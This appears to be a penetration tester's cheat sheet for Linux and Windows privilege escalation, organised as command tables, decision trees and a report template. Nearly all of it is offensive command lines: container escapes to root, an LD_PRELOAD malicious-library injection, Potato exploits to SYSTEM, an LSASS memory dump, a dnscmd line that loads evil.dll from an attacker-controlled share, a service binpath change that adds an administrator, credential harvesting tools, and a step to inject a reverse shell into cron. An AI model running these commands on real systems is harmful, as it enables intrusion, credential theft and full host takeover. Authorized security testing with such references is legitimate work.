🛡️ Methodology Checklist

  • Run automated tool first: LinPEAS (Linux) / WinPEAS (Windows)
  • Linux: sudo -l → SUID → cron → capabilities → groups → kernel
  • Windows: whoami /priv → token abuse → group privileges → weak perms → UAC
  • Credential hunt on both platforms before kernel exploits
  • Use GTFOBins (Linux) and LOLBAS (Windows) for binary abuse
  • Document full escalation path before proceeding to next phase

🎯 Operational Context

Use when: Shell obtained on any OS — master reference for privilege escalation enumeration and exploitation commands for Linux and Windows. Think Dumber First: Two commands, always first: sudo -l (Linux) / whoami /priv (Windows). These two cover the highest-yield privesc paths in 10 seconds. Skip when: N/A — master reference document.


⚡ Tactical Cheatsheet

Linux — Enumeration

CommandTactical Outcome
./linpeas.sh | tee linpeas.outLinPEAS — full automated enumeration
uname -a; cat /etc/os-releaseOS/kernel version
id; whoami; groupsCurrent user context
sudo -lSudo rights — check every binary against GTFOBins
find / -perm -4000 -type f 2>/dev/nullSUID binaries
find / -perm -2000 -type f 2>/dev/nullSGID binaries
getcap -r / 2>/dev/nullLinux capabilities

Linux — Quick-Win Attacks

CommandTactical Outcome
sudo [GTFOBins_BINARY]Abuse sudo right → shell
[SUID_BINARY]Exploit SUID binary (check GTFOBins)
cat /etc/crontab; ls /etc/cron.*Cron jobs — look for writable scripts
cat /etc/exportsNFS — check for no_root_squash
ls -al /tmp/.ICE-unix/ /tmp/tmux-*Tmux socket hijack
python3 -c "import pty; pty.spawn('/bin/bash')"Upgrade to PTY

Linux — Group & Capability Abuse

CommandTactical Outcome
docker run -v /:/mnt --rm -it alpine chroot /mnt shDocker group → root
lxc init ubuntu:18.04 privesc -c security.privileged=trueLXD group → privileged container
debugfs /dev/sda1Disk group → raw filesystem access
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"cap_setuid exploit

Linux — LD_PRELOAD & Library Hijack

CommandTactical Outcome
sudo -l | grep env_keepCheck for LD_PRELOAD preservation
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfilesCompile malicious .so
sudo LD_PRELOAD=/tmp/preload.so [SUDO_BINARY]Inject via sudo
readelf -d [SUID_BINARY] | grep RUNPATHCheck RUNPATH for hijack

Windows — Token Privileges

CommandTactical Outcome
whoami /privList all token privileges
whoami /groupsList group memberships
systeminfo | findstr /B /C:"OS"OS version and build number
.\JuicyPotato.exe -l [PORT] -p cmd.exe -t * -c [CLSID]SeImpersonate → SYSTEM (build ≤1809)
.\PrintSpoofer.exe -i -c cmdSeImpersonate → SYSTEM (build ≥1809)
.\GodPotato.exe -cmd "cmd /c whoami"SeImpersonate → SYSTEM (any modern build)
procdump.exe -accepteula -ma lsass.exe lsass.dmpSeDebugPrivilege → LSASS dump
takeown /f [FILE]; icacls [FILE] /grant [USER]:FSeTakeOwnershipPrivilege

Windows — Group Privilege Abuse

CommandTactical Outcome
reg query HKLM\...\Policies\System /v ConsentPromptBehaviorAdminCheck UAC level
dnscmd [DC] /serverlevelplugindll \\[LHOST]\share\evil.dllDnsAdmins → DLL injection
sc config [SERVICE] binpath= "cmd /c net localgroup administrators [USER] /add"Server Operators → service abuse
wevtutil qe Security /c:1000 /rd:true /f:text | findstr /i "pass"Event Log Readers → mine creds

Windows — Weak Permissions

CommandTactical Outcome
.\SharpUp.exe auditAutomated weak permission audit
icacls [SERVICE_BINARY_PATH]Check service binary ACL
sc qc [SERVICE]Query service binary path
copy /Y [MALICIOUS].exe [SERVICE_BINARY_PATH]Overwrite vulnerable binary
wmic service get name,pathname | findstr /i "auto" | findstr /iv "c:\\windows"Find unquoted service paths
accesschk.exe -kvuqsw HKLM\SYSTEM\CurrentControlSet\ServicesWritable service registry keys

Windows — Credential Hunting

CommandTactical Outcome
findstr /SIM /C:"password" *.txt *.xml *.ini *.config 2>nulFile-based cred search
(Get-PSReadLineOption).HistorySavePathPowerShell command history path
cmdkey /listStored Windows Credential Manager entries
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"Autologon credentials
.\lazagne.exe allLaZagne — automated credential extraction
keepass2john database.kdbx > hash.txtKeePass hash for cracking

Windows — Automated Tools

CommandTactical Outcome
.\winpeas.exe > winpeas.txtWinPEAS — full automated audit (red+yellow = critical)
.\Seatbelt.exe -group=userSeatbelt user-context checks
.\Seatbelt.exe -group=systemSeatbelt system-level checks
Invoke-AllChecksPowerUp — service/registry vulnerability scan
.\Watson.exeMissing patches → local privilege escalation

OS Build → Potato Selector

OS BuildOS VersionPotato
≤ 1803Server 2016 / Win 10 (old)JuicyPotato
1809–19H1Server 2019 / Win 10PrintSpoofer
≥ 19H2Server 2019+ / Win 11GodPotato / PrintSpoofer
AnyAny (with SeImpersonate)GodPotato (most universal)

🔬 Deep Dive & Workflow

Linux PrivEsc Decision Tree

1. sudo -l → GTFOBins hit? → exploit
2. SUID binaries → GTFOBins hit? → exploit
3. id → docker/lxd/disk group? → container escape / debugfs
4. cron writable script? → inject reverse shell
5. LD_PRELOAD env_keep in sudo? → .so injection
6. NFS no_root_squash? → SUID binary on mount
7. Capabilities? → cap_setuid python3 exploit
8. Logrotate writable log? → logrotten
9. Kernel exploit (last resort — compile natively on target)

Windows PrivEsc Decision Tree

1. whoami /priv → SeImpersonate/SeAssignPrimary? → Potato
2. whoami /priv → SeDebugPrivilege? → LSASS dump
3. whoami /priv → SeTakeOwnership? → file hijack
4. whoami /groups → Backup Operators? → SAM/NTDS dump
5. whoami /groups → DnsAdmins? → DLL injection
6. whoami /groups → Server Operators? → service binpath abuse
7. SharpUp → service binary writable? → overwrite
8. SharpUp → unquoted path? → plant binary
9. SharpUp → registry key writable? → ImagePath hijack
10. AlwaysInstallElevated (both regs = 1)? → MSI payload
11. UAC + Admins group? → fodhelper / srrstr bypass
12. Credential hunt → runas /savecred

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
LinPEAS/WinPEAS not runningAV or download blockedFall back to manual commands in this cheatsheet; manual checks cover 80% of what automation finds
Privesc found but requires rebootCannot wait for rebootNote finding; pursue other paths; schedule reboot if possible (may trigger monitoring)
Multiple privesc pathsUnsure which to useChoose lowest-noise path first; kernel exploits last (crash risk); service abuse before exploit
Privesc requires compilationNo compiler on targetCompile on matching-arch attack box; transfer binary; ensure static compilation if possible
PrivEsc path exists but blocked by monitoringEDR detectingUse LOL techniques; document the path even if not exploitable — still a finding

📝 Reporting Trigger

Finding Title: Privilege Escalation Achieved — SYSTEM/Root Access Obtained Impact: Full operating system access achieved via privilege escalation enables credential harvesting, persistence installation, lateral movement preparation, and complete control over the compromised host and all data it processes. Root Cause: System hardening deficiencies including misconfigured permissions, SUID binaries, weak sudo rules, or unpatched privilege escalation vulnerabilities. Recommendation: Apply OS hardening benchmarks (CIS). Regularly run privilege escalation enumeration scripts against all systems. Patch known privilege escalation CVEs within SLA. Implement host-based monitoring for privilege escalation indicators.